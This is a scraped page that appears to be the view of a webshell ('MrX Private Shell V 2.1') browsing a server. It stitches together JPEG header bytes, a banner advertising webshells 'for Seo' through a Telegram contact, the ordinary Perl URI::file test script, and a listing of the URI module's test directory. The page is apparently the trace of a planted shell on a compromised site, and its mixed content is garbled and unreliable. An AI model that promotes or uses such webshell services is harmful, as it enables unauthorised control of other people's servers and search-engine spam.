����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
use strict;
use warnings;
use Test::More;
use URI::file ();
subtest 'OS related tests (unix, win32, mac)' => sub {
my @tests = (
["file", "unix", "win32", "mac"],
#---------------- ------------ --------------- --------------
["file://localhost/foo/bar", "!/foo/bar", "!\\foo\\bar", "!foo:bar",],
["file:///foo/bar", "/foo/bar", "\\foo\\bar", "!foo:bar",],
["file:/foo/bar", "!/foo/bar", "!\\foo\\bar", "foo:bar",],
["foo/bar", "foo/bar", "foo\\bar", ":foo:bar",],
[
"file://foo3445x/bar", "!//foo3445x/bar",
"!\\\\foo3445x\\bar", "!foo3445x:bar"
],
["file://a:/", "!//a:/", "!A:\\", undef],
["file:///A:/", "/A:/", "A:\\", undef],
["file:///", "/", "\\", undef],
[".", ".", ".", ":"],
["..", "..", "..", "::"],
["%2E", "!.", "!.", ":."],
["../%2E%2E", "!../..", "!..\\..", "::.."],
);
my @os = @{shift @tests};
shift @os; # file
for my $t (@tests) {
my @t = @$t;
my $file = shift @t;
my $u = URI->new($file, "file");
my $i = 0;
for my $os (@os) {
my $f = $u->file($os);
my $expect = $t[$i];
$f = "<undef>" unless defined $f;
$expect = "<undef>" unless defined $expect;
my $loose;
$loose++ if $expect =~ s/^!//;
is($f, $expect) or diag "URI->new('$file', 'file')->file('$os')";
if (defined($t[$i]) && !$loose) {
my $u2 = URI::file->new($t[$i], $os);
is($u2->as_string, $file)
or diag "URI::file->new('$t[$i]', '$os')";
}
$i++;
}
}
};
SKIP: {
skip "No pre 5.11 regression tests yet.", 1
if URI::HAS_RESERVED_SQUARE_BRACKETS;
subtest "Including Domains" => sub {
is(
URI->new('file://example.com/tmp/file.part[1]'),
'file://example.com/tmp/file.part%5B1%5D'
);
is(
URI->new('file://127.0.0.1/tmp/file.part[2]'),
'file://127.0.0.1/tmp/file.part%5B2%5D'
);
is(
URI->new('file://localhost/tmp/file.part[3]'),
'file://localhost/tmp/file.part%5B3%5D'
);
is(
URI->new('file://[1:2:3::beef]/tmp/file.part[4]'),
'file://[1:2:3::beef]/tmp/file.part%5B4%5D'
);
is(
URI->new('file:///[1:2:3::1ce]/tmp/file.part[5]'),
'file:///%5B1:2:3::1ce%5D/tmp/file.part%5B5%5D'
);
};
}
subtest "Regression Tests" => sub {
# Regression test for https://github.com/libwww-perl/URI/issues/102
{
my $with_hashes = URI::file->new_abs("/tmp/###");
is($with_hashes, 'file:///tmp/%23%23%23', "issue GH#102");
}
# URI 5.11 introduced a bug where URI::file could return the current
# working directory instead of the path defined.
# The bug was caused by a wrong quantifier in a regular expression in
# URI::_fix_uric_escape_for_host_part() which returned an empty string for
# all URIs that needed escaping ('%xx') but did not have a host part.
# The empty string in turn caused URI::file->new_abs() to use the current
# working directory as a default.
{
my $file_path = URI::file->new_abs('/a/path/that/pretty likely/does/not/exist-yie1Ahgh0Ohlahqueirequ0iebu8ip')->file();
my $current_dir = URI::file->new_abs()->file();
isnt( $file_path, $current_dir, 'regression test for #102' );
}
};
done_testing;
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| 00-report-prereqs.dd | File | 3.7 KB | 0644 |
|
| 00-report-prereqs.t | File | 5.88 KB | 0644 |
|
| abs.t | File | 5.44 KB | 0644 |
|
| clone.t | File | 331 B | 0644 |
|
| cwd.t | File | 176 B | 0644 |
|
| data.t | File | 2.28 KB | 0644 |
|
| escape-char.t | File | 613 B | 0644 |
|
| escape.t | File | 2.88 KB | 0644 |
|
| file.t | File | 3.61 KB | 0644 |
|
| ftp.t | File | 803 B | 0644 |
|
| ftpes.t | File | 231 B | 0644 |
|
| ftps.t | File | 230 B | 0644 |
|
| generic.t | File | 3.71 KB | 0644 |
|
| geo_basic.t | File | 1.72 KB | 0644 |
|
| geo_construct.t | File | 2.1 KB | 0644 |
|
| geo_point.t | File | 429 B | 0644 |
|
| gopher.t | File | 1020 B | 0644 |
|
| heuristic.t | File | 3.35 KB | 0644 |
|
| http.t | File | 1.08 KB | 0644 |
|
| icap.t | File | 1.08 KB | 0644 |
|
| idna.t | File | 503 B | 0644 |
|
| ipv6.t | File | 220 B | 0644 |
|
| irc.t | File | 890 B | 0644 |
|
| ircs.t | File | 239 B | 0644 |
|
| iri.t | File | 2.71 KB | 0644 |
|
| ldap.t | File | 2.38 KB | 0644 |
|
| mailto.t | File | 2.34 KB | 0644 |
|
| mix.t | File | 1.44 KB | 0644 |
|
| mms.t | File | 555 B | 0644 |
|
| news.t | File | 1.01 KB | 0644 |
|
| num_eq.t | File | 389 B | 0644 |
|
| old-absconf.t | File | 730 B | 0644 |
|
| old-base.t | File | 34.04 KB | 0644 |
|
| old-file.t | File | 2.71 KB | 0644 |
|
| old-relbase.t | File | 748 B | 0644 |
|
| otpauth.t | File | 8.33 KB | 0644 |
|
| path-segments.t | File | 1000 B | 0644 |
|
| pop.t | File | 828 B | 0644 |
|
| punycode.t | File | 2.22 KB | 0644 |
|
| query-param.t | File | 1.96 KB | 0644 |
|
| query.t | File | 3.29 KB | 0644 |
|
| rel.t | File | 541 B | 0644 |
|
| rfc2732.t | File | 1.86 KB | 0644 |
|
| roy-test.t | File | 936 B | 0644 |
|
| roytest1.html | File | 7.32 KB | 0644 |
|
| roytest2.html | File | 3.56 KB | 0644 |
|
| roytest3.html | File | 3.01 KB | 0644 |
|
| roytest4.html | File | 3.63 KB | 0644 |
|
| roytest5.html | File | 3.28 KB | 0644 |
|
| rsync.t | File | 263 B | 0644 |
|
| rtsp.t | File | 651 B | 0644 |
|
| scheme-exceptions.t | File | 480 B | 0644 |
|
| scp.t | File | 283 B | 0644 |
|
| sftp.t | File | 285 B | 0644 |
|
| sip.t | File | 2.23 KB | 0644 |
|
| smb.t | File | 838 B | 0644 |
|
| smtp.t | File | 954 B | 0644 |
|
| sort-hash-query-form.t | File | 354 B | 0644 |
|
| split.t | File | 994 B | 0644 |
|
| sq-brackets-legacy.t | File | 1.08 KB | 0644 |
|
| sq-brackets.t | File | 8.01 KB | 0644 |
|
| ssh.t | File | 283 B | 0644 |
|
| storable-test.pl | File | 577 B | 0644 |
|
| storable.t | File | 234 B | 0644 |
|
| urn-isbn.t | File | 746 B | 0644 |
|
| urn-oid.t | File | 278 B | 0644 |
|
| urn-scheme-exceptions.t | File | 525 B | 0644 |
|
| userpass.t | File | 429 B | 0644 |
|
| utf8.t | File | 543 B | 0644 |
|
| ws.t | File | 1.06 KB | 0644 |
|